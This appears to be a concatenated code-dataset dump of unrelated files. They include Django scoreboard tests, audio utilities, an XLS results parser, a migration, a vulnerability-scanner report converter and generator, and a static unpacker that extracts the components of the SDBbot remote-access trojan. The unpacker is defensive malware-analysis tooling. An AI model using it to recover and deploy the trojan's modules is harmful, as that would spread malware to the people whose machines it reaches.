QtCore.qUnregisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)
qInitResources()
| 1.109375 | 1 |
makahiki/apps/managers/score_mgr/tests.py | justinslee/Wai-Not-Makahiki | 1 | 12789730 | <reponame>justinslee/Wai-Not-Makahiki
"""
test score_mgr
"""
import datetime
from django.test import TransactionTestCase
from django.contrib.auth.models import User
from apps.managers.score_mgr import score_mgr
from apps.managers.team_mgr.models import Group, Team
from apps.managers.score_mgr.models import ScoreboardEntry, PointsTransaction
from apps.utils import test_utils
class ScoreboardEntryUnitTests(TransactionTestCase):
"""scoreboard test"""
def setUp(self):
"""Generate test. Set the competition settings to the current date for testing."""
self.user = User(username="test_user", password="<PASSWORD>")
self.user.save()
self.current_round = "Round 1"
test_utils.set_competition_round()
self.user.get_profile().add_points(10, datetime.datetime.today(), "test")
def testUserOverallRoundRankWithPoints(self):
"""Tests that the overall rank calculation for a user in a round is
correct based on points."""
top_entry = ScoreboardEntry.objects.filter(
round_name=self.current_round).order_by("-points")[0]
entry, _ = ScoreboardEntry.objects.get_or_create(
profile=self.user.get_profile(),
round_name=self.current_round,
)
entry.points = top_entry.points + 1
entry.last_awarded_submission = datetime.datetime.today()
entry.save()
self.assertEqual(score_mgr.player_rank(self.user.get_profile(),
self.current_round),
1,
"Check user is ranked #1 for the current round.")
user2 = User(username="test_user2", password="<PASSWORD>")
user2.save()
profile2 = user2.get_profile()
entry2, _ = ScoreboardEntry.objects.get_or_create(
profile=profile2,
round_name=self.current_round,
)
entry2.points = entry.points + 1
entry2.last_awarded_submission = entry.last_awarded_submission
entry2.save()
self.assertEqual(score_mgr.player_rank(self.user.get_profile(),
self.current_round),
2,
"Check user is now second.")
def testUserOverallRoundRankWithSubmissionDate(self):
"""Tests that the overall rank calculation for a user in a round is
correct based on submission date."""
top_entry = ScoreboardEntry.objects.filter(
round_name=self.current_round).order_by("-points")[0]
entry, _ = ScoreboardEntry.objects.get_or_create(
profile=self.user.get_profile(),
round_name=self.current_round,
)
entry.points = top_entry.points + 1
entry.last_awarded_submission = datetime.datetime.today() - datetime.timedelta(days=3)
entry.save()
self.assertEqual(score_mgr.player_rank(self.user.get_profile(),
self.current_round),
1,
"Check user is ranked #1 for the current round.")
user2 = User(username="test_user2", password="<PASSWORD>")
user2.save()
profile2 = user2.get_profile()
entry2, _ = ScoreboardEntry.objects.get_or_create(
profile=profile2,
round_name=self.current_round,
)
entry2.points = entry.points
entry2.last_awarded_submission = datetime.datetime.today()
entry2.save()
self.assertEqual(score_mgr.player_rank(self.user.get_profile(),
self.current_round),
2,
"Check user is now second.")
def testUserTeamRoundRankWithPoints(self):
"""Tests that the team rank calculation for a round is correct based
on points."""
# Setup dorm
group = Group(name="Test group")
group.save()
team = Team(name="A", group=group)
team.save()
profile = self.user.get_profile()
profile.team = team
profile.save()
# Set up entry
top_entry = ScoreboardEntry.objects.filter(
round_name=self.current_round).order_by("-points")[0]
entry, _ = ScoreboardEntry.objects.get_or_create(
profile=self.user.get_profile(),
round_name=self.current_round,
)
entry.points = top_entry.points + 1
entry.last_awarded_submission = datetime.datetime.today()
entry.save()
self.assertEqual(score_mgr.player_rank_in_team(self.user.get_profile(),
self.current_round),
1,
"Check user is ranked #1 for the current round.")
user2 = User(username="test_user2", password="<PASSWORD>")
user2.save()
profile2 = user2.get_profile()
profile2.team = team
profile2.save()
entry2, _ = ScoreboardEntry.objects.get_or_create(
profile=profile2,
round_name=self.current_round,
)
entry2.points = entry.points + 1
entry2.last_awarded_submission = entry.last_awarded_submission
entry2.save()
self.assertEqual(score_mgr.player_rank_in_team(self.user.get_profile(),
self.current_round),
2,
"Check user is now second.")
def testUserTeamRoundRankWithSubmissionDate(self):
"""Tests that the team rank calculation for a round is correct based
on points."""
# Set up dorm
group = Group(name="Test group")
group.save()
team = Team(name="A", group=group)
team.save()
# Create the entry for the test user
profile = self.user.get_profile()
profile.team = team
profile.save()
top_entry = ScoreboardEntry.objects.filter(
round_name=self.current_round).order_by("-points")[0]
entry, _ = ScoreboardEntry.objects.get_or_create(
profile=self.user.get_profile(),
round_name=self.current_round,
)
entry.points = top_entry.points + 1
entry.last_awarded_submission = datetime.datetime.today() - \
datetime.timedelta(days=3)
entry.save()
# Create another test user
user2 = User(username="test_user2", password="<PASSWORD>")
user2.save()
profile2 = user2.get_profile()
profile2.team = team
profile2.save()
entry2, _ = ScoreboardEntry.objects.get_or_create(
profile=profile2,
round_name=self.current_round,
)
entry2.points = entry.points
entry2.last_awarded_submission = datetime.datetime.today()
entry2.save()
self.assertEqual(score_mgr.player_rank_in_team(self.user.get_profile(),
self.current_round),
2,
"Check user is now second.")
def testRoundRankWithoutEntry(self):
"""Tests that the overall rank calculation is correct even if a user
has not done anything yet."""
group = Group(name="Test group")
group.save()
team = Team(name="A", group=group)
team.save()
# Rank will be the number of users who have points plus one.
overall_rank = 1
team_rank = 1
self.assertEqual(score_mgr.player_rank(self.user.get_profile(),
self.current_round),
overall_rank,
"Check user is last overall for the current round.")
self.assertEqual(score_mgr.player_rank_in_team(self.user.get_profile(),
self.current_round),
team_rank,
"Check user is last in their team for the current "
"round.")
user2 = User(username="test_user2", password="<PASSWORD>")
user2.save()
profile2 = user2.get_profile()
profile2.add_points(10, datetime.datetime.today(), "test")
self.assertEqual(score_mgr.player_rank(self.user.get_profile(),
self.current_round),
overall_rank + 1,
"Check that the user's overall rank has moved down.")
self.assertEqual(score_mgr.player_rank_in_team(self.user.get_profile(),
self.current_round),
team_rank + 1,
"Check that the user's team rank has moved down.")
class PointsLogTest(TransactionTestCase):
"""test points log"""
def setUp(self):
self.user = User.objects.create_user("test", "<EMAIL>")
test_utils.set_competition_round()
def testAddPoints(self):
"""
Test that adding points creates a new entry in the points log.
"""
log_count = PointsTransaction.objects.count()
profile = self.user.get_profile()
profile.add_points(10, datetime.datetime.today(), "Hello world", None)
profile.save()
self.assertEqual(PointsTransaction.objects.count(), log_count + 1,
"A new log should have been created.")
log = profile.user.pointstransaction_set.all()[0]
self.assertEqual(log.points, 10, "Points should have been awarded.")
self.assertEqual(log.message, "Hello world",
"Message should have been added.")
| 2.546875 | 3 |
become_yukarin/dataset/utility.py | nameless-writer/become-yukarin | 562 | 12789731 | <gh_stars>100-1000
import math
import fastdtw
import numpy
_logdb_const = 10.0 / numpy.log(10.0) * numpy.sqrt(2.0)
# should work on torch and numpy arrays
def _sqrt(x):
isnumpy = isinstance(x, numpy.ndarray)
isscalar = numpy.isscalar(x)
return numpy.sqrt(x) if isnumpy else math.sqrt(x) if isscalar else x.sqrt()
def _exp(x):
isnumpy = isinstance(x, numpy.ndarray)
isscalar = numpy.isscalar(x)
return numpy.exp(x) if isnumpy else math.exp(x) if isscalar else x.exp()
def _sum(x):
if isinstance(x, list) or isinstance(x, numpy.ndarray):
return numpy.sum(x)
return float(x.sum())
def melcd(X, Y, lengths=None):
"""Mel-cepstrum distortion (MCD).
The function computes MCD for time-aligned mel-cepstrum sequences.
Args:
X (ndarray): Input mel-cepstrum, shape can be either of
(``D``,), (``T x D``) or (``B x T x D``). Both Numpy and torch arrays
are supported.
Y (ndarray): Target mel-cepstrum, shape can be either of
(``D``,), (``T x D``) or (``B x T x D``). Both Numpy and torch arrays
are supported.
lengths (list): Lengths of padded inputs. This should only be specified
if you give mini-batch inputs.
Returns:
float: Mean mel-cepstrum distortion in dB.
.. note::
The function doesn't check if inputs are actually mel-cepstrum.
"""
# summing against feature axis, and then take mean against time axis
# Eq. (1a)
# https://www.cs.cmu.edu/~awb/papers/sltu2008/kominek_black.sltu_2008.pdf
if lengths is None:
z = X - Y
r = _sqrt((z * z).sum(-1))
if not numpy.isscalar(r):
r = r.mean()
return _logdb_const * r
# Case for 1-dim features.
if len(X.shape) == 2:
# Add feature axis
X, Y = X[:, :, None], Y[:, :, None]
s = 0.0
T = _sum(lengths)
for x, y, length in zip(X, Y, lengths):
x, y = x[:length], y[:length]
z = x - y
s += _sqrt((z * z).sum(-1)).sum()
return _logdb_const * s / T
class DTWAligner(object):
"""
from https://github.com/r9y9/nnmnkwii/blob/4cade86b5c35b4e35615a2a8162ddc638018af0e/nnmnkwii/preprocessing/alignment.py#L14
"""
def __init__(self, x, y, dist=lambda x, y: numpy.linalg.norm(x - y), radius=1) -> None:
assert x.ndim == 2 and y.ndim == 2
_, path = fastdtw.fastdtw(x, y, radius=radius, dist=dist)
path = numpy.array(path)
self.normed_path_x = path[:, 0] / len(x)
self.normed_path_y = path[:, 1] / len(y)
def align_x(self, x):
path = self._interp_path(self.normed_path_x, len(x))
return x[path]
def align_y(self, y):
path = self._interp_path(self.normed_path_y, len(y))
return y[path]
def align(self, x, y):
return self.align_x(x), self.align_y(y)
@staticmethod
def align_and_transform(x, y, *args, **kwargs):
aligner = DTWAligner(*args, x=x, y=y, **kwargs)
return aligner.align(x, y)
@staticmethod
def _interp_path(normed_path: numpy.ndarray, target_length: int):
path = numpy.floor(normed_path * target_length).astype(numpy.int)
return path
class MelCepstrumAligner(DTWAligner):
def __init__(self, x, y, *args, **kwargs) -> None:
x = self._calc_aligner_feature(x)
y = self._calc_aligner_feature(y)
kwargs.update(dist=melcd)
super().__init__(x, y, *args, **kwargs)
@classmethod
def _calc_delta(cls, x):
x = numpy.zeros_like(x, x.dtype)
x[:-1] = x[1:] - x[:-1]
x[-1] = 0
return x
@classmethod
def _calc_aligner_feature(cls, x):
d = cls._calc_delta(x)
feature = numpy.concatenate((x, d), axis=1)[:, 1:]
return feature
| 2.25 | 2 |
python/py-meld3/files/patch-setup.py | svalgaard/macports-ports | 1 | 12789732 | --- setup.py.orig 2007-10-16 16:08:20.000000000 -0700
+++ setup.py 2007-10-16 16:09:22.000000000 -0700
@@ -1,3 +1,5 @@
+from ez_setup import use_setuptools
+use_setuptools()
from distutils.core import setup, Extension
import os
| 1.039063 | 1 |
code/dpp/centers/splines/__init__.py | bsouhaib/qf-tpp | 0 | 12789733 | from .splines_utils import *
| 1.070313 | 1 |
sdbbot_unpacker.py | Tera0017/SDBbot-Unpacker | 11 | 12789734 | <gh_stars>10-100
"""
Author:@Tera0017
SDBbot static unpacker
"""
from sdbbot_unpacker_scripts.sdbbot_rat import SDBbotRatx86, SDBbotRatx64
from sdbbot_unpacker_scripts.sdbbot_loader import SDBbotLoaderx86, SDBbotLoaderx64
from sdbbot_unpacker_scripts.sdbbot_regblob import SDBbotRegBlobx86, SDBbotRegBlobx64
from sdbbot_unpacker_scripts.sdbbot_installer import SDBbotInstallerx86, SDBbotInstallerx64
from sdbbot_unpacker_scripts.sdbbot_gen_funcs import get_osa, gen_name, message, writeFile, process_args, ERROR01
class SDBbotUnpacker:
def __init__(self, arguments):
self.filepath = arguments.file
self.osa = get_osa(file_path=self.filepath)
def unpack(self):
Installer, Loader, RegBlob, Rat = {
0x32: (SDBbotInstallerx86, SDBbotLoaderx86, SDBbotRegBlobx86, SDBbotRatx86),
0x64: (SDBbotInstallerx64, SDBbotLoaderx64, SDBbotRegBlobx64, SDBbotRatx64),
}[self.osa]
# Installer module
sdbbot_installer = Installer(self.filepath)
data = sdbbot_installer.decode()
installer_filepath = gen_name(self.filepath, 'SDBbot_SdbInstallerDll_')
writeFile(installer_filepath, data)
message('SdbInstallerDll successfully dumped: {}'.format(installer_filepath))
# Loader module
sdbbot_loader = Loader(installer_filepath)
data = sdbbot_loader.decode()
loader_filepath = gen_name(self.filepath, 'SDBbot_RegCodeLoader_')
writeFile(loader_filepath, data)
message('RegCodeLoader successfully dumped: {}'.format(loader_filepath))
# Registry Blob
sdbbot_regblob = RegBlob(installer_filepath)
data = sdbbot_regblob.decode()
regblob_filepath = gen_name(self.filepath, 'SDBbot_RegBlob_')
writeFile(regblob_filepath, data)
message('RegBlob successfully dumped: {}'.format(regblob_filepath))
# RAT module
sdbbot_rat = Rat(installer_filepath)
data = sdbbot_rat.decode()
rat_filepath = gen_name(self.filepath, 'SDBbot_RAT_BotDLL_')
writeFile(rat_filepath, data)
message('BotDLL successfully dumped: {}'.format(rat_filepath))
return True
if __name__ == '__main__':
sdbbot_unpacker = SDBbotUnpacker(process_args())
try:
sdbbot_unpacker.unpack()
except Exception:
message(ERROR01)
| 2.03125 | 2 |
migrations/versions/24fad7bbfc10_drop_sighting_users.py | Matzexxxxx/Monocle | 21 | 12789735 | """drop sighting_users
Revision ID: 24fad<PASSWORD>
Revises: <KEY>
Create Date: 2017-10-22 11:45:40.968564
"""
from alembic import op
import sqlalchemy as sa
import sys
from pathlib import Path
monocle_dir = str(Path(__file__).resolve().parents[2])
if monocle_dir not in sys.path:
sys.path.append(monocle_dir)
from monocle import db as db
# revision identifiers, used by Alembic.
revision = '24fad7bbfc10'
down_revision = '<KEY>'
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_table('sighting_users')
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.create_table('sighting_users',
sa.Column('id', db.PRIMARY_HUGE_TYPE, nullable=False),
sa.Column('username', sa.String(length=32), nullable=True),
sa.Column('sighting_id', db.HUGE_TYPE, nullable=False),
sa.ForeignKeyConstraint(['sighting_id'], ['sightings.id'], onupdate='CASCADE', ondelete='CASCADE'),
sa.PrimaryKeyConstraint('id'),
sa.UniqueConstraint('username', 'sighting_id', name='ix_username_sighting_id')
)
op.create_index(op.f('ix_sighting_users_sighting_id'), 'sighting_users', ['sighting_id'], unique=False)
# ### end Alembic commands ###
| 1.398438 | 1 |
Analysis/Pedro/tests/dockTest/logFix.py | taoluwork/bcai | 1 | 12789736 |
f = open('../../data/dockTest/logs.txt', 'r')
line = f.readline()
new = ''
while line != '':
if line.find('top ') >= 0 or line.find('python3') >= 0:
new = new + line
line = f.readline()
f.close()
f = open('../../data/dockTest/logs.txt', 'w')
f.write(new)
f.close() | 2.90625 | 3 |
hytek_parser/export_xls/__init__.py | SwimComm/hytek-parser | 1 | 12789737 | """Header lists for the `csv.DictReader` when reading Hytek-produced CSVs."""
import xlrd
from hytek_parser._utils import safe_cast
from hytek_parser.types import StrOrBytesPath
from ._utils import (
ExportXlsParseError,
extract_plain_value,
extract_time_value,
get_first_row_index,
get_offsets_from_header,
)
from .schemas import EventResultEntry, ParsedEventResultXlsFile
__all__ = ["ExportXlsParseError", "parse_event_export_xls"]
_ALL_PARSING_ELEMENTS = [
"name",
"age",
"team",
"seed time",
"prelim time",
"finals time",
]
def parse_event_export_xls(
file: StrOrBytesPath, parsing_elements: list[str] = _ALL_PARSING_ELEMENTS
) -> ParsedEventResultXlsFile:
"""Parse a Hytek MeetManager .hy3 file.
Args:
file (StrOrBytesPath): A path to the file to parse.
parsing_elements (Sequence[str]): Elements to extract from the file.
Valid elements: 'name', 'age', 'team', 'seed time',
'prelim time', 'finals time'
Returns:
ParsedEventHyvFile: The parsed file.
"""
book = xlrd.open_workbook(file)
sheet = book.sheet_by_index(0)
# Get event name
event_name = str(sheet.cell_value(1, 0))
# Extract the header row
# This should be one with "Name" as it's first element
for rx in range(sheet.nrows):
row = sheet.row(rx)
if str(row[0].value).lower() == "name":
header_row = [str(e.value).lower() for e in row]
header_row_index = rx
break
# Make sure we have a header row
if header_row is None:
raise ExportXlsParseError("Could not find header row.")
first_row_index = get_first_row_index(sheet, header_row_index)
# Only parse times in the header row
if "seed time" in parsing_elements and "seed time" not in header_row:
parsing_elements.pop(parsing_elements.index("seed time"))
if "prelim time" in parsing_elements and "prelim time" not in header_row:
parsing_elements.pop(parsing_elements.index("prelim time"))
if "finals time" in parsing_elements and "finals time" not in header_row:
parsing_elements.pop(parsing_elements.index("finals time"))
# Determine offsets to extract from
offsets = get_offsets_from_header(
sheet, header_row, first_row_index, parsing_elements
)
# Start parsing rows
results = []
rx = first_row_index
while rx < sheet.nrows and sheet.cell_value(rx, 0).strip() != "":
row = sheet.row(rx)
place = safe_cast(int, row[0].value, -1)
if place == -1 and row[0].value != "---":
rx += 1
continue
name = extract_plain_value("name", row, offsets)
age = extract_plain_value("age", row, offsets, cast_to=int)
team = extract_plain_value("team", row, offsets)
seed_time, seed_time_extra, seed_time_qualifications = extract_time_value(
"seed time", row, offsets
)
prelim_time, prelim_time_extra, prelim_time_qualifications = extract_time_value(
"prelim time", row, offsets
)
finals_time, finals_time_extra, finals_time_qualifications = extract_time_value(
"finals time", row, offsets
)
results.append(
EventResultEntry(
place=place,
swimmer_name=name,
swimmer_age=age,
swimmer_team=team,
seed_time=seed_time,
seed_time_extra=seed_time_extra,
seed_time_qualifications=seed_time_qualifications,
prelim_time=prelim_time,
prelim_time_extra=prelim_time_extra,
prelim_time_qualifications=prelim_time_qualifications,
finals_time=finals_time,
finals_time_extra=finals_time_extra,
finals_time_qualifications=finals_time_qualifications,
)
)
rx += 1
return ParsedEventResultXlsFile(
event_name=event_name, parsing_elements=tuple(parsing_elements), results=results
)
| 3.0625 | 3 |
part_a/test.py | cconnerolson/aerospace_assignment_6 | 1 | 12789738 | <reponame>cconnerolson/aerospace_assignment_6<gh_stars>1-10
from sympy import *
# fn = A_eq()
g_s = Symbol('g_s')
g_e = Symbol('g_e')
M_e = Symbol('M_e')
A_r = Symbol('A_r')
e1 = sqrt(g_s / g_e)
e2 = 1 / M_e
e3 = (1 + ((g_e - 1) / 2) * M_e**2)**((g_e + 1) / (2 * (g_e - 1)))
e4 = ((g_s + 1) / 2)**((g_s + 1) / (2 * (g_s - 1)))
fn = (e1 * e2 * e3) / e4 - A_r
print(fn)
fn = fn.subs([(g_s, 1.1758101459676122), (g_e, 1.2), (A_r, 1000.)])
print(fn)
x = nsolve(fn, 10)
print(x)
| 2.359375 | 2 |
core/reportlib.py | shad0w008/Scanver | 22 | 12789739 | #!/usr/bin/env python
# encoding=utf-8
#codeby 道长且阻
#email @ydhcui/QQ664284092
from lib.docxtpl import DocxTemplate,InlineImage,RichText
from lib.docx import Document
from lib.docx.shared import Mm, Inches, Pt
from lib.jinja2 import Environment
import time
import re
import uuid
import csv
import base64
import io
import urllib.parse as urlparse
class ReportGenerate(object):
def __init__(self, context, template,clear=True):
self.doc = DocxTemplate(template)
jinja_env = Environment()
if clear:
context['buglist'] = self.bugs_clear(context['buglist'])
jinja_env.filters['eval'] = lambda x:eval(x,context)
self.doc.render(context,jinja_env)
def save(self, path):
self.doc.save(path)
return path
def parse_xml(self, value):
result = []
texts = re.findall("<p>(.*?)</p>",value)
for text in texts:
img = re.findall(r'<img src="data:image.*?;base64,(.*?)"',text)
if img:
img = io.BytesIO(base64.b64decode(img[0]))
img_obj = InlineImage(self.doc, img, width=Mm(170))
result.append(img_obj)
else:
rt_obj = text#RichText(text)
result.append(rt_obj)
return result
def del_tag(self, s, tag):
s = re.sub(r'<{0}.*?>(.*?)</{0}>'.format(tag), '', s)
s = re.sub(r'<{0}.*?>'.format(tag), '', s)
return s
def bugs_clear(self, bugs, clear_keys=['bugreq'], filter_tags=['br']):
for i, bug in enumerate(bugs, 1):
bug['num'] = str(i)
for key, value in bug.items():
if key in clear_keys:
if not value.startswith('<p>'):
value = '<p>%s</p>'%value
for tag in filter_tags:
value = self.del_tag(value, tag)
bug[key] = self.parse_xml(value)
return bugs
class ReportGenerateDoc(object):
def __init__(self, template, **args):
dirs = dir(self)
for k, v in args.items():
if k not in dirs:
setattr(self, k, v)
else:
print('[!] already exist key: '+ k)
self.doc = Document(template)
self.re_cmd = re.compile(r'{%(.*?)%}')
self.re_bug = re.compile(r'{{(.*?)}}')
self.bug_block_start = '<%bugblock_start%>'
self.bug_block_end = '<%bugblock_end%>'
self.picture_width = 5800000
self.fill_info()
def replace_cmd(self, obj):
cmds = self.re_cmd.findall(obj.text)
for cmd in cmds:
try:
result = str(eval(cmd.lower(), {'self':self}))
obj.text = obj.text.replace('{%%%s%%}'%cmd, result)
except:
msg = '[!][{%%%s%%}] Invalid cmd in: %s'
print(msg % (cmd, obj.text))
def fill_info(self):
for para in self.doc.paragraphs:
self.pi = para
self.replace_cmd(para)
for tab in self.doc.tables:
lineno = 0
while True:
cells = tab.row_cells(lineno)
if not cells:
break
for cell in cells:
for para in cell.paragraphs:
self.replace_cmd(para)
lineno += 1
def insert_picture_from(self, content):
if content:
flag = 'One who wants to wear the crown, Bears the crown. --- L-codes'
self.pi.insert_paragraph_before(flag)
for p in self.doc.paragraphs:
if flag == p.text:
flag_p = p
break
flag_p.clear()
flag_p.add_run('')
f = io.BytesIO(base64.b64decode(content))
#with open(settings.UPLOADPATH +'/'+ fid, 'rb') as f:
flag_p.runs[-1].add_picture(f, width=self.picture_width)
def add_remain_bugs(self, bugs):
for bug in bugs:
for text, sty in self.bug_template:
keys = self.re_bug.findall(text)
islist_not_insert = False
for key in keys:
result = bug.get(key,key)
if isinstance(result, list):
islist_not_insert = True
for tp, data in result:
if tp == 'text':
self.pi.insert_paragraph_before(data)
elif tp == 'img':
self.insert_picture_from(data)
else:
text = text.replace('{{%s}}'%key, result)
if not islist_not_insert:
self.pi.insert_paragraph_before(text, style=sty)
def add_bugs(self, bugs):
if not bugs:
print('[!] bugs is empty')
return None
is_bugblock = False
self.bug_template = []
bug, bugs = bugs[0], bugs[1:]
for para in self.doc.paragraphs:
self.pi = para
if self.bug_block_end in para.text:
is_bugblock = False
para.clear()
break
if is_bugblock:
self.bug_template.append((para.text, para.style))
keys = self.re_bug.findall(para.text)
for key in keys:
result = bug.get(key, key)
if isinstance(result, list):
for tp, data in result:
if tp == 'text':
para.insert_paragraph_before(data)
elif tp == 'img':
self.insert_picture_from(data)
self.pi.clear()
else:
para.text = para.text.replace('{{%s}}'%key, result)
if self.bug_block_start in para.text:
is_bugblock = True
para.clear()
self.add_remain_bugs(bugs)
def save(self, path=None):
path = path or '%s-pentestreport.docx' % self.projectname
self.doc.save(path)
return path
@staticmethod
def bugs_clear(bugs, clear_keys=['bugreq'], filter_tags=['br']):
def parse_xml(value):
result = []
text = re.compile(r'<p>(.*?)</p>')
#image = re.compile(r'<img src="\./upload\.php\?fid=([a-z\d]{8}(?:-[a-z\d]{4}){3}-[a-z\d]{12})"')
image = re.compile(r'<img src="data:.*?;base64,(.*?)"')
for s in text.finditer(value):
img = image.search(s[0])
if img:
result.append(['img', img[1]])
else:
result.append(['text', s[1]])
return result
def del_tag(s, tag):
s = re.sub(r'<{0}.*?>(.*?)</{0}>'.format(tag), '', s)
s = re.sub(r'<{0}.*?>'.format(tag), '', s)
return s
for i, bug in enumerate(bugs, 1):
bug['num'] = str(i)
for key, value in bug.items():
if key in clear_keys:
for tag in filter_tags:
value = del_tag(value, tag)
bug[key] = parse_xml(value)
return bugs
class ReportParse(object):
def __init__(self):
self.steam = None
self.content = b''
self.text = ''
self.buglist = []
#漏洞示例
buginfo = {
'bugaddr' :'', #漏洞地址 （必须，可以是url地址或者某个IP地址对应端口如 http://127.0.0.1/bugaddr?id=1或 127.0.0.1:1433
'bugreq' :'', #原始请求包 （没有填空，
'bugres' :'', #原始返回结果 （没有填空，
'bugtag' :'', #漏洞标签 （没有填空，以|分隔，如 SQL|XSS|弱口令
'bugnote' :'', #漏洞备注 （没有填空，
'bugname' :'', #漏洞名称 （必须
'bugrank' :'', #漏洞等级 （必须，分四个等级【紧急，高危，中危，低危】 如果不是这个名称要进行相应转换
'bugowasp' :'', #owasp对应关系 （没有填空
'bugnumber' :'', #漏洞编号 （没有填空，以|分隔，如 CVE-2017-12345|CNVD-2017-12345|CWE-17
'bugdesc' :'', #漏洞描述 （没有填空，
'bugplan' :'', #修复建议 （没有填空，
}
@classmethod
def raw_html(self,html):
dr = re.compile(r'<[^>]+>',re.S)
html = dr.sub('',html)
html = html.replace('\n','')
html = html.replace('"','\'')
html = html.replace(''','"')
html = html.replace('<','<')
html = html.replace('>','>')
html = html.replace('\\r\\n','')
html = html.replace('\\','')
return html.strip()
def output(self):
t = self.buglist
self.buglist = []
return t
def load(self,filepath,act= None):
with open(filepath,'rb') as self.steam:
self.content = self.steam.read()
self.text = str(self.content)
self.filepath = filepath
if act:
getattr(self,'handler_%s'%act)()
else: #找到报告的唯一标识，并由此判断报告格式
contentstr = str(self.content)
if 'oOarNtAtTUO9U5IbGM8cQ0Kh0e0TqgAATRQGQTU' in contentstr:
self.handler_topsec_html() #天融信html报告
elif '37t3jD3v37l2ySYy5fft2JJ6vRxHueOTIEZwUeVVQUDBnzhz6duPGjXSokJAQqkeGFkyE3EE9r2fPnmRAnDj' in contentstr:
self.handler_awvs_html_developer()
elif 'GCPyoV4EKz927BjVDBgwoLq6mj8vCb9Ebt682Yh' in contentstr:
self.handler_awvs_html() #awvs html报告
elif 'jumpToHash(event.target.hash);' in contentstr:
self.handler_nsfocus_html() #绿盟html报告
elif '<title>Nessus Scan Report</title>' in contentstr:
self.handler_nessus_html()
elif 'Plugin Output' in contentstr:
self.handler_nessus_csv()
def handler_topsec_html(self):
'''根据天融信漏洞扫描器html格式详细报告进行转换'''
html_content = str(self.content,encoding='utf-8')
addr = re.findall("IP/域名:(.*?)<",html_content)
name = re.findall("='>(.*?)</a><td class='numLinkLow'>",html_content)
desc = re.findall("<tr><td width='20%'>描述</td><td width='80%' >(.*?)</td></tr>",html_content)
plan = re.findall("<tr><td width='20%'>解决办法</td><td width='80%' >(.*?)</td></tr>",html_content)
cve = re.findall("<tr><td width='20%'>CVE</td><td width='80%' >(.*?)<",html_content)
cnvd = re.findall("<tr><td width='20%'>CNVD</td><td width='80%' >(.*?)<",html_content)
cnnvd= re.findall("<tr><td width='20%'>CNNVD</td><td width='80%' >(.*?)<",html_content)
rank = re.findall("<tr><td width='20%'>风险级别</td><td width='80%'>(.*?)<",html_content)
for i in range(len(name)):
rank = rank[i].replace('低风险', '低危') \
.replace('中风险', '中危') \
.replace('高风险', '高危') \
.replace('紧急风险', '紧急')
self.buglist.append({
'bugaddr' : addr[0],
'bugname' : name[i],
'bugrank' : rank,
'bugnumber' : '|'.join([cve[i],cnvd[i],cnnvd[i]]),
'bugdesc' : self.raw_html(desc[i]),
'bugplan' : self.raw_html(plan[i]),
})
def handler_nsfocus_html(self):
'''根据绿盟扫描器html格式漏洞报告进行转换'''
data = str(self.content,encoding='utf-8')
host = re.findall('<td>(.*?)</td>',data)[0]
a = re.findall(r'''<tr class="(odd|even)" data-id=".*?" data-port="(.*?)" >([\s\S]*?)</table>''',data)
for _,port,data in a:
vuls = re.findall('''/><span class="level_danger_(.*?)" style="cursor:pointer">(.*?)</span>''',data)
desc = ''.join(re.findall('''<th width="100">详细描述</th>([\s\S]*?)</tr>''',data))
plan = ''.join(re.findall('''<th width="100">解决办法</th>([\s\S]*?)</tr>''',data))
cve = ''.join(re.findall(r'''http://cve.mitre.org/cgi-bin/cvename.cgi?name=(.*?)">''',data))
cnnvd= ''.join(re.findall(r'''http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/(.*?)">''',data))
cnvd = ''.join(re.findall(r'''http://www.cnvd.org.cn/flaw/show/(.*?)">''',data))
rank = vuls[0][0].replace('high', '高危') \
.replace('middle', '中危') \
.replace('low', '低危')
self.buglist.append({
'bugaddr' : '%s:%s'%(host,port),
'bugname' : vuls[0][1],
'bugrank' : rank,
'bugnumber' : '|'.join([cve,cnvd,cnnvd]),
'bugdesc' : self.raw_html(desc),
'bugplan' : self.raw_html(plan),
})
def handler_awvs_html(self):
'''根据Awvs扫描器html格式Affected Items漏洞报告进行转换'''
html = self.text
starturl = re.findall("Start url</td>.*?<td>(.*?)</td>",html,re.DOTALL)[0]
addr = re.findall('//(.*?)/',starturl)[0]
name = re.findall("<td><b>Alert group</b></td>.*?<td><b>(.*?)</b>",html,re.DOTALL)
rank = re.findall("<td>Severity</td>.*?<td>(.*?)</td>",html,re.DOTALL)
desc = re.findall("<td>Description</td>.*?<td>(.*?)</td>",html,re.DOTALL)
plan = re.findall("<td>Recommendations</td>.*?<td>(.*?)</td>",html,re.DOTALL)
for i in range(len(name)):
rank = rank[i].replace('Low', '低危') \
.replace('Medium','中危') \
.replace('High', '高危') \
.replace('Crital','紧急')
self.buglist.append({
'bugaddr' : addr,
'bugname' : name[i],
'bugrank' : rank,
'bugnumber' : '',
'bugdesc' : self.raw_html(desc[i]),
'bugplan' : self.raw_html(plan[i]),
})
def handler_awvs_html_developer(self):
'''Developer Report'''
html = self.text
surl = re.findall("Start url</td>.*?<td>(.*?)</td>",html,re.DOTALL)[0]
ip = re.findall('//(.*?)/',surl)[0]
rel = re.findall("\"ax-section-title ax-section-title--big\">.*?<img src=\"data:image/png;base64,.*?\">(.*?)</h3>.*?<td class=\"ax-alert-info__severity_value\">(.*?)</td>.*?<h4 class=\"ax-section-title\">.*?Description.*?</h4>.*?<p>(.*?)</p>.*?<h4 class=\"ax-section-title\">.*?Impact.*?</h4>.*?<p>(.*?)</p>.*?<h4 class=\"ax-section-title\">.*?Affected items.*?</h4>(.*?)<h3 class=",html,re.DOTALL)
for name,rank,desc,plan,items in rel:
reitem = re.findall("<b>(.*?)</b></td></tr>.*?<tr><td><code style=\"white-space: pre-line\">(.*?)</code></td></tr>",items,re.DOTALL)
for addr,req in reitem:
rank = rank.replace('Informational','低危').replace('Low','低危').replace('Medium','中危').replace('High','高危').replace('Crital','紧急')
self.buglist.append({
'bugaddr' : 'http://'+ip+req.split()[1],
'bugname' : self.raw_html(name),
'bugrank' : self.raw_html(rank),
'bugnumber' : '',
'bugdesc' : self.raw_html(desc),
'bugplan' : self.raw_html(plan),
'bugreq' : req
})
def handler_nessus_csv(self):
'''根据Nessus扫描器csv格式漏洞报告进行转换'''
i=0
for row in csv.DictReader(self.steam):
field[i] = row
bug = {}
bug['bugaddr'] = field[i]['Host']
bug['bugname'] = field[i]['Name']
bug['bugrank'] = field[i]['Risk'].replace('Low','低危') \
.replace('Medium','中危') \
.replace('High','高危') \
